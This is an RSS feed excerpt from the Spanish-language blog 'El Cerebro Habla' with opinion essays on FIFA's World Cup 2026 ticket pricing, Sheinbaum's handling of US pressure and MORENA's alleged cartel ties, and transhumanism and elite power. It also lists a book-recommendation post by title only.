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		<title>El Mundial para los pocos</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Sun, 17 May 2026 20:53:30 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[<p>Un boleto de fase de grupos del Mundial 2026 cuesta 380 dólares. Un boleto de la final de la Champions League cuesta 80 dólares. La diferencia no es meramente producto de las «dinámicas de mercado»: es más bien una de decisión institucional producto de la voracidad de los jerarcas de la FIFA. Eso importa entenderlo [&#8230;]</p>
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										<content:encoded><![CDATA[<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="1774" height="887" src="https://elcerebrohabla.com/wp-content/uploads/image-307.png" alt="" class="wp-image-59262" srcset="https://elcerebrohabla.com/wp-content/uploads/image-307.png 1774w, https://elcerebrohabla.com/wp-content/uploads/image-307-1280x640.png 1280w, https://elcerebrohabla.com/wp-content/uploads/image-307-980x490.png 980w, https://elcerebrohabla.com/wp-content/uploads/image-307-480x240.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1774px, 100vw" /></figure>



<p class="wp-block-paragraph">Un boleto de fase de grupos del Mundial 2026 cuesta 380 dólares. Un boleto de la final de la Champions League cuesta 80 dólares. La diferencia no es meramente producto de las "dinámicas de mercado": es más bien una de decisión institucional producto de la voracidad de los jerarcas de la FIFA. </p>



<p class="wp-block-paragraph">Eso importa entenderlo antes de cualquier otra cosa. Cuando Gianni Infantino dice que el Mundial es la gran fiesta del pueblo, lo que omite es que decidieron cobrar por la entrada más de lo que cuesta ver al Real Madrid. Esta no es una dinámica inevitable del capitalismo deportivo — la UEFA tomó una decisión distinta. La FIFA tomó otra.</p>



<p class="wp-block-paragraph">El fútbol fue durante décadas el deporte del pueblo por razones muy concretas. Para jugarlo, basta una pelota barata, un pedazo de tierra y unas piedras para marcar la portería. Para verlo, bastaba con ahorrar unos pesos o sintonizar la televisión abierta. Émile Durkheim llamaba "efervescencia colectiva" al fenómeno por el cual los grupos humanos generan cohesión a través de rituales compartidos — y los estadios eran exactamente eso: el lugar donde el jersey, y no el código postal, determinaba tu lugar en el espacio social. El aficionado cantando, portando su jersey, gritando los goles, reclamando las faltas. Las quinielas, los álbumes Panini, los programas de análisis deportivo con los amigos. Pierre Bourdieu lo habría dicho distinto: durante el juego, el dinero no desaparece, pero su eficacia queda parcialmente mediada por una lógica específica del campo, en la que cuentan decisivamente formas de reconocimiento simbólico como la lealtad, la pertenencia y el honor hincha.</p>



<p class="wp-block-paragraph">Eso es lo que me parece que se está rompiendo. No necesariamente como consecuencia automática del mercado dejado a su inercia, sino más bien porque alguien tomó la decisión de romperlo para exprimir el último centavo. </p>



<p class="wp-block-paragraph">Salir hoy a las calles de cualquier ciudad sede en México — falta menos de un mes — es encontrarse con algo extraño: prácticamente nada. La gente sigue con su rutina, habla de otras cosas, tiene otras preocupaciones (y al respecto nuestro país tiene mucha tela de dónde cortar). Se ven jerseys en las tiendas, algo de publicidad, espacios públicos medio remodelados más para impresionar turistas que para servir ciudadanos, algunos adornos, ajolotes y barandales morados para que los políticos se luzcan. Pero la efervescencia que describía Durkheim, ese ambiente que debería sentirse en las entrañas de una ciudad que va a recibir un Mundial, simplemente no está. El aficionado común ya sabe, aunque no lo articule en esos términos, que esta fiesta no es para él.</p>



<p class="wp-block-paragraph">No llegamos aquí de golpe. Desde 2002, la FIFA comenzó a alejar el torneo de los ciudadanos de a pie al restringir la transmisión de varios partidos a plataformas de pago. Ciertamente, no pocos hicieron el sacrificio y contrataron el servicio (lo cual fue un negociazo para dichas plataformas), pero esta decisión ya marcaba una distancia. En 2022 todavía había boletos relativamente accesibles, aunque el ambiente en las tribunas ya se notaba más apagado que en certámenes anteriores (las sedes de Rusia y, sobre todo, Qatar, tampoco ayudaron mucho). Si bien los precios nunca fueron homogéneos y siempre hubo zonas más caras que otras, lo que se ha agudizado en este ciclo es la diferenciación: las zonas hospitality para quienes forman parte de la élite, y las butacas de hasta arriba — si acaso — para quienes hagan el sacrificio económico suficiente. El aficionado que brinca, canta y analiza el encuentro en voz alta ha sido desplazado. En su lugar queda, en buena medida, el individuo que ve en el boleto una experiencia que puede compartir en redes sociales. Lo que era un ritual de comunidad convertido en un bien de estatus. </p>



<p class="wp-block-paragraph">La lógica de la FIFA es sistemática. La organización exige a las televisoras no colocar en transmisión anuncios de empresas que puedan parecer competencia de sus patrocinadores oficiales. Intentó arrebatar los palcos del Estadio Azteca a sus dueños (el Grupo Ollamani tuvo que pagar a la FIFA para poder utilizar los palcos que son suyos). Y diseñó un sistema de precios dinámicos que optimiza utilidades a costa de vaciar las tribunas de quienes les dan su atmósfera. Que hasta Donald Trump se haya sorprendido por el costo del partido debut de Estados Unidos dice algo sobre la escala de la extracción. No es un señalamiento menor.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1774" height="887" src="https://elcerebrohabla.com/wp-content/uploads/image-308.png" alt="" class="wp-image-59263" srcset="https://elcerebrohabla.com/wp-content/uploads/image-308.png 1774w, https://elcerebrohabla.com/wp-content/uploads/image-308-1280x640.png 1280w, https://elcerebrohabla.com/wp-content/uploads/image-308-980x490.png 980w, https://elcerebrohabla.com/wp-content/uploads/image-308-480x240.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1774px, 100vw" /></figure>



<p class="wp-block-paragraph">Debe decirse que esto no empezó con Infantino, y que Joao Havelange y Joseph Blatter — este último acusado de actos de corrupción — tampoco eran administradores ejemplares. Pero la clave no está solo en el carácter de las personas sino en los incentivos que tiene la organización. La UEFA mantiene boletos a $80 en la final de Champions porque tiene razones institucionales para proteger el producto: si el ambiente se degrada, el producto se degrada. La FIFA, con el Mundial como monopolio irrepetible cada cuatro años, no tiene los mismos incentivos — y se comporta en consecuencia. Entre preservar el ambiente y la esencia del fútbol como deporte de la gente, o maximizar la extracción por evento, Infantino optó por lo segundo. Y las declaraciones sicofantes — entregarle un premio de la paz a Trump mientras a Claudia Sheinbaum le habla con lenguaje inclusivo, darle la sede a una cultura autoritaria que condena la homosexualidad para después decir en público "me siento gay" como gesto de apaciguamiento — son señales de un operador dispuesto a lo que sea en función de la rentabilidad del momento.</p>



<p class="wp-block-paragraph">Como premio de consolación, se instalan Fan Fests donde la FIFA posiciona las marcas de sus patrocinadores entre quienes no tienen con qué comprar un boleto. Y ni tanto: algunos de esos Fan Fests ya tendrán costo (en Monterrey y algunas sedes de EEUU), cuando antes todos eran gratuitos. Los aficionados normales — los que crean el ambiente que hace al fútbol lo que es — terminan relegados afuera de los estadios. Si antes estaban en las butacas de arriba, ahora estarán en una explanada con pantalla gigante y logos de Coca-Cola.</p>



<p class="wp-block-paragraph">Las políticas públicas de las ciudades sede siguen la misma lógica: orientadas a complacer al turista del que se espera derrama económica, mientras los ciudadanos que en otros tiempos habrían sido protagonistas del festejo se resignan al tráfico y el ajetreo causado por la propia logística. Hasta se amaga con quitarles un mes de clases para que no estorben. Las remodelaciones no se hacen pensando en ellos, sino para que al menos duren mientras los visitantes están ahí. En Guadalajara se remodeló el Parque Rojo, pero se excluyó al tianguis cultural que era su lugar natural — porque esa no es la imagen que las autoridades quieren proyectar. El ciudadano queda en segundo plano. El turista con capacidad de gasto, ese queda primero.</p>



<p class="wp-block-paragraph">Es posible, sí, que algo de esto se olvide cuando ruede la pelota y lleguen los goles. Y eso si es que las selecciones traen partidos espectaculares, lo cual también está en riesgo: la ampliación a 48 selecciones, otra decisión económica disfrazada de inclusión a "la gran fiesta", garantiza que la fase de grupos tenga un número considerable de encuentros sin interés competitivo real.</p>



<p class="wp-block-paragraph">Pero lo que no se recupera fácilmente es lo que el Mundial siempre fue: un ritual de identidad colectiva que le pertenecía a la gente que lo construyó. El fútbol llegó a ser el deporte del pueblo — en las favelas de Brasil, en los barrios marginados, en la Sudáfrica del apartheid — porque cualquiera podía jugarlo y casi cualquiera podía verlo. Cuando esa relación se rompe, los estadios pueden seguir siendo imponentes y los jugadores de primer nivel, pero algo se ha vaciado por dentro. Tal vez por eso en la UEFA son más cautelosos con el costo de las entradas: saben que el ambiente que hace grande a la Champions no se produce en un set. Lo crean los aficionados que pueden pagarse el boleto.</p>



<p class="wp-block-paragraph">La Fórmula Uno y el tenis siempre fueron deportes para quienes tienen recursos. Nadie lo pensó de otra manera. El fútbol no era eso.</p>



<p class="wp-block-paragraph">Eso es lo que se está perdiendo. Poco a poco, pero con la intención de exprimir hoy el último centavo sin reparar si esta avaricia cortoplacista pueda no ser una decisión racional incluso en lo económico.</p>



<p class="wp-block-paragraph"><strong><em>Imágenes generadas con IA (Chat GPT)</em></strong></p><p>The post <a href="https://elcerebrohabla.com/2026/05/17/el-mundial-para-los-pocos/">El Mundial para los pocos</a> first appeared on <a href="https://elcerebrohabla.com">El Cerebro Habla</a>.</p>]]></content:encoded>
					
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		<title>El doble tablero de Sheinbaum: cooperación afuera, soberanía adentro</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Sat, 02 May 2026 19:59:55 +0000</pubDate>
				<category><![CDATA[política]]></category>
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										<content:encoded><![CDATA[<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1624" height="969" src="https://elcerebrohabla.com/wp-content/uploads/sheinbaum.png" alt="" class="wp-image-59046" srcset="https://elcerebrohabla.com/wp-content/uploads/sheinbaum.png 1624w, https://elcerebrohabla.com/wp-content/uploads/sheinbaum-1280x764.png 1280w, https://elcerebrohabla.com/wp-content/uploads/sheinbaum-980x585.png 980w, https://elcerebrohabla.com/wp-content/uploads/sheinbaum-480x286.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1624px, 100vw" /></figure>



<p class="wp-block-paragraph">Esta semana ocurrió una secuencia que, a primera vista, parece casual: Trump volvió a hablar "bonito" de Claudia Sheinbaum —esa cosa medio ya recurrente de llamarla líder maravillosa, mujer muy inteligente—, días después de que la Fiscalía del Distrito Sur de Nueva York hiciera pública una acusación de 34 páginas contra Rubén Rocha Moya y otros nueve funcionarios sinaloenses por presunta colusión con Los Chapitos, y el viernes 1 de mayo el propio Rocha Moya pidió licencia al cargo. La presidenta, en sus mañaneras, repite que México no se subordina, que la soberanía no se negocia, que cada quien jala por su lado. Pero la coreografía dice otra cosa.</p>



<p class="wp-block-paragraph">En privado, la presidenta está siendo más colaborativa con Estados Unidos de lo que parece. No por convicción, sino por coerción. Y los gritos de soberanía no van dirigidos a Washington: son para consumo interno, para el electorado mexicano. Una vez que se asume eso, varias piezas que hoy parecen contradictorias empiezan a encajar.</p>



<h2 class="wp-block-heading">Un tablero internacional, un tablero doméstico</h2>



<p class="wp-block-paragraph">Para entender por qué Sheinbaum hace lo que hace, sirve un marco que Robert Putnam describió hace décadas y que aplica al caso casi como un guante: el <strong>juego de dos niveles</strong>.</p>



<p class="wp-block-paragraph">La idea es sencilla. Cualquier negociación internacional ocurre, simultáneamente, en dos tableros. En el tablero internacional el jefe de gobierno negocia con su contraparte extranjera. En el tablero doméstico el mismo jefe de gobierno tiene que conseguir que su coalición política ratifique —de facto o de iure— el acuerdo. El conjunto de acuerdos que la coalición doméstica aceptaría sin romperse se llama <em>win-set</em>. Si lo que se negocia internacionalmente queda fuera del win-set doméstico, el acuerdo se cae aunque el negociador internacional ya lo haya firmado.</p>



<p class="wp-block-paragraph">Sheinbaum tiene un <em>win-set</em> doméstico muy estrecho. Su base electoral lleva años con la narrativa antiimperialista incrustada como identidad: "no nos van a venir a mandar los gringos", "patria sí, colonia no", soberanía como símbolo de pureza moral del proyecto. Cualquier acuerdo que parezca una concesión abierta a Washington puede ser inaceptable para ese electorado. Pero el otro lado del win-set también está apretado: la asimetría con Estados Unidos es enorme y las herramientas de presión —aranceles, ataques militares contra cárteles, sanciones financieras, retiros masivos de visas, deterioro del T-MEC— pueden comprometer la viabilidad económica de todo el proyecto.</p>



<p class="wp-block-paragraph">La presidenta, entonces, se mueve en una franja muy delgada. ¿Qué se puede hacer ahí? Lo único que se puede: cooperar, pero discretamente. Cooperar lo suficiente para que Trump baje la presión —de ahí los elogios públicos que recibe desde Washington, que no son gratuitos— y, al mismo tiempo, construir hacia adentro un relato donde nada de eso es entrega, sino digna defensa de la soberanía. Por eso la cooperación va de fondo y los discursos de soberanía van por delante.</p>



<h2 class="wp-block-heading">Para qué sirven los opinadores orgánicos</h2>



<p class="wp-block-paragraph">En este escenario, los opinadores e influencers orgánicos del régimen tienen una doble función. La primera es <strong>relativizar la asociación entre gobierno y narcotráfico</strong>, porque esa asociación, naturalmente, daña al régimen. La segunda es <strong>evitar que el gobierno parezca entreguista</strong>, porque eso lo desconectaría de su base más dura. Las dos cosas se hacen al mismo tiempo y, de paso, una sirve para la otra: si el enemigo es Washington —su intervencionismo, su soberbia, su unilateralismo— el problema deja de ser el narcogobierno y pasa a ser el imperialismo.</p>



<p class="wp-block-paragraph">Vista así, la insistencia en la soberanía no es un acto reflejo: es una decisión estratégica. Y permite formular el cálculo político del oficialismo de una manera bastante terrenal: tal vez hayan concluido que mostrarse entreguistas les costaría más con su base que dejar que un sector del país los siga asociando con el narco. No sé si sea un buen cálculo. Tiene cierta lógica de corto plazo —el costo de perder a la base movilizada es inmediato; el costo de que cuaje la asociación con el narcotráfico es difuso, depende de cómo y dónde se vaya expandiendo—. Pero juega con fuego: la asociación gobierno-narco, una vez instalada, no se desinstala fácilmente.</p>



<p class="wp-block-paragraph">Mientras tanto, Sheinbaum hace de equilibrista. Tiene que colaborar con Estados Unidos lo suficiente para que su gobierno no termine asfixiado, pero hacerlo con la discreción necesaria para poder, simultáneamente, salir todas las mañanas a defender la soberanía. Es un papel difícil y, en términos estrictamente políticos, no le ha ido mal. Pero tiene un costo: cada licencia como la de Rocha Moya delata el truco.</p>



<p class="wp-block-paragraph">Y todo esto, conviene decirlo, no quita un punto de fondo: el gobierno actual está infestado por los tentáculos de los cárteles, y eso es, sobre todo, herencia de López Obrador. Las visitas a Badiraguato, el saludo a la mamá del Chapo, los abrazos no balazos, la pasividad institucional sostenida durante seis años, no son anécdotas: son la infraestructura simbólica y operativa sobre la que hoy se construye la crisis.</p>



<h2 class="wp-block-heading">MORENA como signo</h2>



<p class="wp-block-paragraph">Aquí entra otro plano del problema, más sutil y menos coyuntural. Una cosa es lo que MORENA <em>es</em> —un partido registrado ante el INE, con estatutos, con un acrónimo (Movimiento Regeneración Nacional)— y otra muy distinta es lo que la palabra MORENA <em>significa</em> hoy en la cabeza de millones de mexicanos.</p>



<p class="wp-block-paragraph">Saussure separaría las dos dimensiones; Barthes las explicaría mejor. La <strong>denotación</strong> es el registro literal del signo: lo que oficialmente nombra. La <strong>connotación</strong> es el sistema de asociaciones, valores y cargas afectivas que se le adhiere con el uso. Un partido controla casi por completo su denotación —su nombre, su logo, su declaración de principios—, pero no controla del todo su connotación. Eso lo construye la comunidad de hablantes, día con día, con cada nota, cada hashtag, cada escándalo.</p>



<p class="wp-block-paragraph">Hoy, en Twitter, la connotación de MORENA pasa cada vez más por el narcotráfico. Las acusaciones contra varios miembros y gobernantes del partido, la displicencia del gobierno de López Obrador con el crimen organizado, la repetición sistemática de hashtags como #NarcoGobierno, y ahora el escándalo del gobernador de Sinaloa junto con la reacción de la presidenta y de los miembros del partido, todo eso se va sedimentando. Para quien al escuchar MORENA activa la palabra <em>narco</em> —y, por consecuencia, lo que esa palabra acarrea: drogas, violencia, asesinatos, miedo— esa palabra ya no se puede limpiar con un comunicado. Y ese segmento, evidentemente, ni de locos va a votar por el partido.</p>



<p class="wp-block-paragraph">Hay que ponerle límites a este diagnóstico, sin embargo. Twitter no es el país, ni de lejos. La conversación digital amplifica una narrativa, pero no es representativa de los millones de mexicanos en edad de votar. La asociación MORENA-narco es la norma en Twitter; en el resto del país convive con otra connotación más fuerte para muchos —programas sociales, identificación con AMLO, sensación de que "por fin alguien voltea a vernos"— que sigue dándole a Sheinbaum aprobaciones altísimas. Que la asociación gane terreno fuera de Twitter es posible, incluso probable; que ya haya ganado, todavía no.</p>



<p class="wp-block-paragraph">Ahí hay una oportunidad para la oposición, si supiera leerla: no se trata de salir a gritar "narcogobierno" como eco de Twitter, sino de instalar la asociación con calma, con datos, con pluralidad de voces, en el resto del país. Pero existen dos riesgos que conviene nombrar sin diplomacia:</p>



<ol class="wp-block-list">
<li>Que algún miembro de la propia oposición termine también embarrado en un escándalo del mismo tipo. No es descartable —al contrario—. Si eso ocurre, la asociación se generaliza al sistema entero y deja de ser un activo de la oposición para volverse una característica de la partidocracia mexicana completa.</li>



<li>Que simplemente no aprovechen la oportunidad. Que sigan compitiendo por likes, repitiendo agravios sin estructura, sin construir una narrativa alternativa creíble.</li>
</ol>



<p class="wp-block-paragraph">Y hay un punto adicional que conviene decir, aunque incomode. Con el PRI y el PAN nunca alcanzaban los dedos para contar a los corruptos, pero tampoco era difícil distinguir figuras rescatables, cuadros íntegros, perfiles defendibles. Con MORENA, honestamente, cuesta. Hasta los perfiles que parecían más sensatos —un Ebrard, por ejemplo— ya tienen sus episodios incómodos. Tal vez Harfuch esté haciendo un trabajo decente, hasta donde se ve. De ahí en más, no se me viene a la mente nadie.</p>



<h2 class="wp-block-heading">Lo que ya se sabía sobre Rocha Moya</h2>



<p class="wp-block-paragraph">Sobre Rocha Moya, además, hay que decir lo obvio: lo que Estados Unidos acaba de poner sobre la mesa <strong>no es un descubrimiento</strong>. Sus presuntos vínculos con el narcotráfico estaban públicamente documentados desde mucho antes. En 2024, Adela Micha difundió un video sobre los nexos de Rocha Moya con el cártel de Sinaloa. <em>El Universal</em> publicó reportajes. Ricardo Ravelo, periodista que lleva décadas cubriendo narcotráfico, lo señaló como operador de los Chapitos. Esto no salió ayer ni el miércoles pasado.</p>



<p class="wp-block-paragraph">Por eso la exigencia de "pruebas" a Estados Unidos —al gobierno que detuvo al Mayo, que tiene a los Chapitos, que escucha medio cártel y que produjo una acusación formal de 34 páginas— suena ociosa, casi deshonesta. Es muy probable que las pruebas existan, que se hayan compartido por canales formales, y que el gobierno mexicano simplemente prefiera no ventilarlas para hacer control de daños. Bajo el manto de la soberanía caben muchas cosas; la verdad, la que el público merece, no siempre cabe.</p>



<p class="wp-block-paragraph">Por eso fórmulas como "yo no meto las manos al fuego por nadie" son, más que cautela, una forma de desentenderse: traer al frente el discurso de la soberanía para que la relación entre el partido en el poder y los cárteles quede en un segundo plano. Y por eso no me sorprendería que dentro del movimiento haya quien defienda a Rocha Moya con la esperanza —legítima, en términos de cálculo personal— de que mañana, cuando aparezca lo suyo, el movimiento también lo defienda. Es una lógica de protección mutua que, al final, blinda a todos los implicados a costa del país.</p>



<h2 class="wp-block-heading">Soberanía, en serio</h2>



<p class="wp-block-paragraph">Vale la pena, para terminar, reapropiarse del concepto que el gobierno está usando como cortina.</p>



<p class="wp-block-paragraph">La soberanía reside en el pueblo. El gobierno representa los intereses del pueblo. Si llega un agente externo —los cárteles, en este caso— y consigue que el gobierno represente sus intereses en lugar de los del pueblo, <strong>eso ya es un atentado contra la soberanía</strong>. Una intervención no se mide solo por el origen geográfico de quien interviene; se mide por <em>en interés de quién</em> opera el Estado.</p>



<p class="wp-block-paragraph">Tener escepticismo sobre la intervención estadounidense es razonable, incluso saludable. Estados Unidos tiene sus intereses y los va a perseguir; nadie debería sostener su política exterior creyendo que actúa por convicción humanitaria. Pero si esa intervención te indigna más que la posibilidad de que un gobierno esté coludido con los cárteles del crimen organizado de los que se supone que debería protegerte, entonces el problema ya no es la geopolítica: es el orden de prelación de tus indignaciones.</p>



<p class="wp-block-paragraph">Y si haces ese ordenamiento por consigna, no por convicción —porque toca defender al equipo, porque hay que cerrar filas, porque "ahora no es momento"—, entonces ya no estás defendiendo la soberanía. Estás haciendo otra cosa. Y esa otra cosa, en algún punto, se llama complicidad.</p><p>The post <a href="https://elcerebrohabla.com/2026/05/02/el-doble-tablero-de-sheinbaum-cooperacion-afuera-soberania-adentro/">El doble tablero de Sheinbaum: cooperación afuera, soberanía adentro</a> first appeared on <a href="https://elcerebrohabla.com">El Cerebro Habla</a>.</p>]]></content:encoded>
					
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		<title>Transhumano, demasiado transhumano</title>
		<link>https://elcerebrohabla.com/2026/04/11/transhumano-demasiado-transhumano/</link>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Sun, 12 Apr 2026 00:50:58 +0000</pubDate>
				<category><![CDATA[reflexión]]></category>
		<category><![CDATA[temas polémicos]]></category>
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					<description><![CDATA[<p>Hablar de transhumanismo suena a una suerte de futuro distópico muy lejano. Sin embargo, los avances tecnológicos, sobre todo en materia de Inteligencia Artificial, nos enseñan que no deberíamos tomar por sentada dicha lejanía. Es cierto que para llegar a una etapa de transhumanismo biológico se necesita un desarrollo tecnológico al cual todavía no está [&#8230;]</p>
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<p class="wp-block-paragraph">Hablar de transhumanismo suena a una suerte de futuro distópico muy lejano. Sin embargo, los avances tecnológicos, sobre todo en materia de Inteligencia Artificial, nos enseñan que no deberíamos tomar por sentada dicha lejanía. </p>



<p class="wp-block-paragraph">Es cierto que para llegar a una etapa de transhumanismo biológico se necesita un desarrollo tecnológico al cual todavía no está disponible además de que todavía no comprendemos lo suficiente el funcionamiento del cerebro con el fin de que podamos manipularlo de tal forma y con dichos alcances, por lo que se ve algo lejano aunque existen interesantes trabajos en esa dirección. </p>



<p class="wp-block-paragraph">Habrá quien argumente que algunos avances tecnológicos ya existentes pueden considerarse una suerte de transhumanismo o proto-transhumanismo de menos. Por ejemplo, el hecho de tener un smartphone en nuestras manos que nos permita comunicar, trabajar, intercambiar información al instante, lo cual puede dejar en desventaja a quien no tenga esa tecnología en sus manos. También podría argumentarse que la IA puede ser una suerte de transhumanismo temprano en el sentido de que funciona como una extensión cognitiva de nuestro cerebro, nos ayuda a desarrollar procesos cognitivos que a nuestro cerebro le hubiese costado más tiempo y energía. Quien sepa escribir mejor prompts, quien entienda la IA agéntica y pueda implementarla para automatizar y eficientar sus tareas, sus procesos productivos y hasta personales podrá gozar de ciertas ventajas frente a quien no lo hace. En las conversaciones al respecto se insiste que los sujetos más proclives a perder sus empleos sean los que no se suban a esta ola.</p>



<p class="wp-block-paragraph">Aunque, en efecto, estos avances potencian las capacidades del ser humano, siguen siendo una extensión de éste y no algo intrínseco a ellos. Cuando hablamos de transhumanismo biológico hablamos de aquel que "hackea" al individuo para que éste, por sí mismo, potencie sus capacidades y habilidades, de tal forma que modifiquen no solo la conducta (la cual ciertamente puede ser en cierto grado modificado por las tecnologías que solo fungen como una extensión) sino la propia esencia del individuo.</p>



<p class="wp-block-paragraph">Y aquí viene un problema. Por lo general, los avances tecnológicos comienzan a ser utilizados por personas que tienen recursos económicos y, con el tiempo, estos comienzan a ser absorbidos por el resto de la población. El Internet es un claro ejemplo de ello. Al principio solo personas con cierto poder adquisitivo podían darse el lujo de tener una conexión a Internet, pero con el tiempo este acceso se ha extendido a una mayor cantidad de personas y la brecha digital se ha hecho cada vez más pequeña. Hoy no es algo raro ver a una persona de una clase social relativamente baja no lejana al umbral de la pobreza con un smartphone por el cual puede acceder a redes sociales. Y si asumimos que esta dinámica tiende a hacer inherente a los avances tecnológicos, deberíamos asumir que los primeros "transhumanos" van a ser personas pertenecientes a las élites o personas con un alto poder adquisitivo.</p>



<p class="wp-block-paragraph">Los primeros implantes para "aumentar el IQ" por poner un ejemplo, no van a ser nada baratos ni van a estar disponibles en la tienda de la esquina. Posiblemente sean usados por millonarios, personas con muchos recursos, políticos, personas con poder, quienes, a su vez, se preocuparán de que sus hijos también sean transhumanos porque les va a dar una ventaja tal que van a tener su futuro económico asegurado. </p>



<p class="wp-block-paragraph">Y si esto ocurre así, ello puede crear una brecha entre los transhumanos y los humanos ordinarios. Había dicho que la tecnología se vuelve más accesible con el tiempo, pero, a diferencia de la mayor parte de las tecnologías, podría ser posible que esa ventaja de la cual gocen los primeros transhumanos les permita someter o controlar al resto de los humanos antes de que esta tecnología se propague en el resto de la población. Es posible que los primeros transhumanos sientan que son de una especie prácticamente distinta del resto que les permita dominar al resto. A lo largo del tiempo hemos sido testigo de las mayores atrocidades con base en supuestas superioridades cognitivas y de capacidades que no se sostenían empíricamente como la "supremacía aria" o la idea de que las personas de raza negra eran de inteligencia inferior.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1536" height="1024" src="https://elcerebrohabla.com/wp-content/uploads/cb6c7d53-9a19-417b-84f8-30d54ed6dc46-1.png" alt="" class="wp-image-58972" srcset="https://elcerebrohabla.com/wp-content/uploads/cb6c7d53-9a19-417b-84f8-30d54ed6dc46-1.png 1536w, https://elcerebrohabla.com/wp-content/uploads/cb6c7d53-9a19-417b-84f8-30d54ed6dc46-1-1280x853.png 1280w, https://elcerebrohabla.com/wp-content/uploads/cb6c7d53-9a19-417b-84f8-30d54ed6dc46-1-980x653.png 980w, https://elcerebrohabla.com/wp-content/uploads/cb6c7d53-9a19-417b-84f8-30d54ed6dc46-1-480x320.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1536px, 100vw" /></figure>



<p class="wp-block-paragraph">Decimos que el ser humano es digno por el hecho de serlo. Kant fue insistente en ello y por eso decía que el individuo no puede ser un medio sino un fin. Igualmente solemos decir en nuestras leyes y constituciones que el ser humano es igual ante la ley. Son dos conceptos muy fuertes en el deber ser, pero que en la práctica muchas veces nos ha costado sostener del todo. Sin embargo, sin su presencia, las atrocidades contra otros seres humanos serían seguramente más comunes porque los agresores tendrían más razones para sentirse justificados moralmente. ¿Qué pasaría con el transhumanismo y esta potencial diferenciación de clases o especies? ¿Podrían sostenerse estas ideas? ¿U ocasionarían una ruptura donde la dignidad está diferenciada sobre el hecho de ser transhumano o no serlo? ¿Qué pasaría con la idea de la democracia, los derechos humanos y las libertades?</p>



<p class="wp-block-paragraph">El problema es que, en este caso, esa superioridad cognitiva y de capacidades sí se va a sostener, y en el momento en que se cree una identidad que separe a los transhumanos de los humanos ordinarios podríamos estar en un problema porque 1) Los transhumanos podrían considerarse superiores al resto y actuar en consecuencia,  2) Los transhumanos, en efecto, tendrán mayores capacidades que el resto y tendrán más capacidades reales para someterlos, 3) si dije que los primeros transhumanos sean personas que estén en posiciones de poder político y económico, la retroalimentación y concentración de poder y recursos va a ser exponencial ya que, siguiendo a Acemoglu y Robinson, las instituciones extractivas se perpetúan cuando la élite que se beneficia de ellas tiene suficiente poder político y económico para bloquear cualquier reforma.</p>



<p class="wp-block-paragraph">Este último punto es importante, porque una de las formas en las cuales uno pensaría para evitar que el transhumanismo retroalimente la concentración de riqueza y poder en una élite es la creación de políticas públicas que permitan y fomenten la propagación de estas capacidades para que lleguen a una mayor cantidad de gente de tal forma que una élite no tenga el tiempo suficiente para magnificar dicha concentración de riqueza y poder. El problema es que quienes estarían a cargo de aprobar estas políticas públicas, serían los mismos que se están beneficiando del propio transhumanismo, con lo cual podrían no tener incentivos para aprobarlas. Para tener dichos incentivos el costo de "no redistribuir" tendría que ser más alto que el costo de hacerlo, lo que implicaría una potencial pérdida de las ventajas que su transhumanismo les confiere, por lo cual ese escenario se antoja muy complicado ya que tenía que existir una suerte de arreglos previos y una situación tal que esa premisa se cumpla. Es decir, ya deberían existir esos arreglos y diseño para evitar la concentración económica y de poder antes de que el propio transhumanismo aterrice. </p>



<p class="wp-block-paragraph">Otra posibilidad para sortear este problema tiene que ver con la heterogeneidad de las élites. Es decir, que entre las élites haya una diferencia de intereses tal que a alguna de estas élites tengan incentivos para permitir la propagación de las tecnologías transhumanistas a la mayor parte de la población. No necesariamente las élites tecnológicas que desarrollen estas tecnologías tengan los mismos intereses que las élites políticas o las propias élites económicas. Por ejemplo, en un escenario ideal podría darse el caso de que las élites tecnológicas tengan incentivos para masificar el transhumanismo porque les trae más beneficios económicos a largo plazo. En un escenario ideal donde los intereses políticos están confrontados, es posible que parte de la élite política proponga la masificación del transhumanismo para obtener más votos de las mayorías. Claro, hablo de escenarios ideales, porque dichos escenarios pueden tener muchos asegunes: las empresas tecnológicas pueden tener incentivos para masificar el transhumanismo, pero estas empresas podrían concentrar poder y control por el mero hecho de ser quienes proveen esa transhumanización que, en ciertos escenarios, podrían volver a los beneficiarios dependientes de dichas empresas. Igualmente, los políticos pueden prometer la masificación del transhumanismo, pero que las políticas públicas para ese fin no estén bien diseñadas o la calidad de las tecnologías no sean lo suficientemente buenas e inferiores a los que los propios políticos utilizan con lo cual de todos modos se crea esta brecha que se está tratando de evitar. Es decir, la heterogeneidad de las élites es necesaria pero no es suficiente.</p>



<p class="wp-block-paragraph">Tal vez por eso comenzar a hablar de ello no sea en vano. Llegar a esa realidad donde ya acumulamos muchos debates y políticas para escenarios hipotéticos será bastante mejor que un escenario donde el arribo de dichas tecnologías nos agarre desprevenidos. Como con cualquier avance tecnológico, siempre existe potencial para mejorar el bienestar de la humanidad, pero este bienestar no llega por sí solo porque, como dicen Acemoglu y Robinson, todo depende de las decisiones que tomemos en torno a ella. </p>



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		<title>10 libros que leí este 2025 y que te recomiendo</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Sat, 06 Dec 2025 03:25:55 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
